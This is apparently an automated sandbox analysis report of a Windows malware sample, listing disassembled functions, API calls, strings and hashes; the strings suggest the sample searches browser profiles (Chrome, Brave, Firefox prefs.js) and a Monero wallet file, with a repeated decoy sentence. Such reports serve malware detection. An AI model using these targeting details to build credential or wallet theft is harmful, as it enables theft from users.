Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 1c8037621fd62695ac73109f35c42f4c14200df0a106dab280fed433a13d01b3
Instruction ID: 11b8e9ac7c611d516f676d4857c26c908446a60f197e8b00b3f1f7040fd5fa6d
Opcode Fuzzy Hash: 1c8037621fd62695ac73109f35c42f4c14200df0a106dab280fed433a13d01b3
Instruction Fuzzy Hash: 024188B0FD16847BCE34B7F5B94DFAD72526F467D4F487948AE201A280CBB06580C9AD

Function 6CBB35A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CC3F688,00001000), ref: 6CBB35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBB35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CBB35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBB363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBB369F
__aulldiv.LIBCMT ref: 6CBB36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CBB3773
EnterCriticalSection.KERNEL32(6CC3F688), ref: 6CBB377E
LeaveCriticalSection.KERNEL32(6CC3F688), ref: 6CBB37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CBB37C4
EnterCriticalSection.KERNEL32(6CC3F688), ref: 6CBB37CB
LeaveCriticalSection.KERNEL32(6CC3F688), ref: 6CBB3801
__aulldiv.LIBCMT ref: 6CBB3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CBB3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CBB3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CBB394C

Strings

7S+Y/, xrefs: 6CBB35AC
QPC, xrefs: 6CBB38FC
AuthcAMDenti, xrefs: 6CBB3946
GTC, xrefs: 6CBB3912
GenuntelineI, xrefs: 6CBB3639
MOZ_TIMESTAMP_MODE, xrefs: 6CBB35DB

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: 7S+Y/$AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-4173254306
Opcode ID: fc6630f1735f5aea5d1496bf6b4806eec1a6093d050b9cab5fa3bbaac69e92bd
Instruction ID: d7542aaa3dc2d7cb4156801dba92b97a3102628fbc90fcf6cdc7007c2cae9aa0
Opcode Fuzzy Hash: fc6630f1735f5aea5d1496bf6b4806eec1a6093d050b9cab5fa3bbaac69e92bd
Instruction Fuzzy Hash: 3CB1B171B083509FDB18DF29E95566ABBF5EB8A700F05892DE89DD3390DB30DC048B96

Function 00ACBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

FindFirstFileA.KERNEL32(00000000,?,00AE0B32,00AE0B2B,00000000,?,?,?,00AE13F4,00AE0B2A), ref: 00ACBEF5
StrCmpCA.SHLWAPI(?,00AE13F8), ref: 00ACBF4D
StrCmpCA.SHLWAPI(?,00AE13FC), ref: 00ACBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00ACC7BF
FindClose.KERNEL32(000000FF), ref: 00ACC7D1

Strings

\Brave\Preferences, xrefs: 00ACC1DB
Brave, xrefs: 00ACC102
Google Chrome, xrefs: 00ACC634
Preferences, xrefs: 00ACC11E

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: c1810560c27c1063fe6a644b4076dd4d3ccab696f27881fdb635069c6ac35057
Instruction ID: e12a3e140b16060212dfa07a83bcba7887d602f7acad577d5e6da042e6925c9c
Opcode Fuzzy Hash: c1810560c27c1063fe6a644b4076dd4d3ccab696f27881fdb635069c6ac35057
Instruction Fuzzy Hash: C4423772910108ABCB14FB74DE96EED737DAF64300F408559F90B96291EF349B49CBA2

Function 00AD4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00AD492C
FindFirstFileA.KERNEL32(?,?), ref: 00AD4943
StrCmpCA.SHLWAPI(?,00AE0FDC), ref: 00AD4971
StrCmpCA.SHLWAPI(?,00AE0FE0), ref: 00AD4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00AD4B7D
FindClose.KERNEL32(000000FF), ref: 00AD4B92

Strings

%s\%s, xrefs: 00AD49A4
%s\*, xrefs: 00AD4920
%s\%s, xrefs: 00AD49FB

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 2f263a7f17d67c3f461868840a794ebbab699bb4ab8fd8cba5c401500a9861fa
Instruction ID: 203acf0ae9dd338d4dd2a81057afa16f92a4a804c2d5efadde3bcf6c0f494ef9
Opcode Fuzzy Hash: 2f263a7f17d67c3f461868840a794ebbab699bb4ab8fd8cba5c401500a9861fa
Instruction Fuzzy Hash: 856144B1900318ABCB24EBA5DC45FEA737CBB58701F048589B50E96241EB75DB85CFA1

Function 00AD3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00AD3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00AD3EDA
StrCmpCA.SHLWAPI(?,00AE0FAC), ref: 00AD3F08
StrCmpCA.SHLWAPI(?,00AE0FB0), ref: 00AD3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00AD406C
FindClose.KERNEL32(000000FF), ref: 00AD4081

Strings

%s\%s, xrefs: 00AD3EB7

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: ba5160689daf298de789cfc2a629f75a485ba944f5ee5bfcd812cc0d8a9ae333
Instruction ID: 2fb6327a9d1c8bd51ba9825150ff307a08d2c7eef862a34b976df316a9560f95
Opcode Fuzzy Hash: ba5160689daf298de789cfc2a629f75a485ba944f5ee5bfcd812cc0d8a9ae333
Instruction Fuzzy Hash: D65133B6900318ABCB24EBB4DD85FEE737CBB58300F408589B65E96240DB75DB858F61

Function 00ACF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00AE15B8,00AE0D96), ref: 00ACF71E
StrCmpCA.SHLWAPI(?,00AE15BC), ref: 00ACF76F
StrCmpCA.SHLWAPI(?,00AE15C0), ref: 00ACF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00ACFAB1
FindClose.KERNEL32(000000FF), ref: 00ACFAC3

Strings

prefs.js, xrefs: 00ACF812

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: e890fa57396e512dbb412e8ded25affba7879e1db50caecce77c1d47c784ab52
Instruction ID: e85ff2804d8dbed2ee35721ca5d2d520a3d89ba2a08b10435d5b01071538ab7c
Opcode Fuzzy Hash: e890fa57396e512dbb412e8ded25affba7879e1db50caecce77c1d47c784ab52
Instruction Fuzzy Hash: B3B12471A002589FDB24FF64DD95FED7379AF64300F4085A9A80B96251EF306B49CF92

Function 00AC16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00AE510C,?,?,?,00AE51B4,?,?,00000000,?,00000000), ref: 00AC1923
StrCmpCA.SHLWAPI(?,00AE525C), ref: 00AC1973
StrCmpCA.SHLWAPI(?,00AE5304), ref: 00AC1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AC1D40
DeleteFileA.KERNEL32(00000000), ref: 00AC1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00AC1E20
FindClose.KERNEL32(000000FF), ref: 00AC1E32

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Strings

\*.*, xrefs: 00AC17F1

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
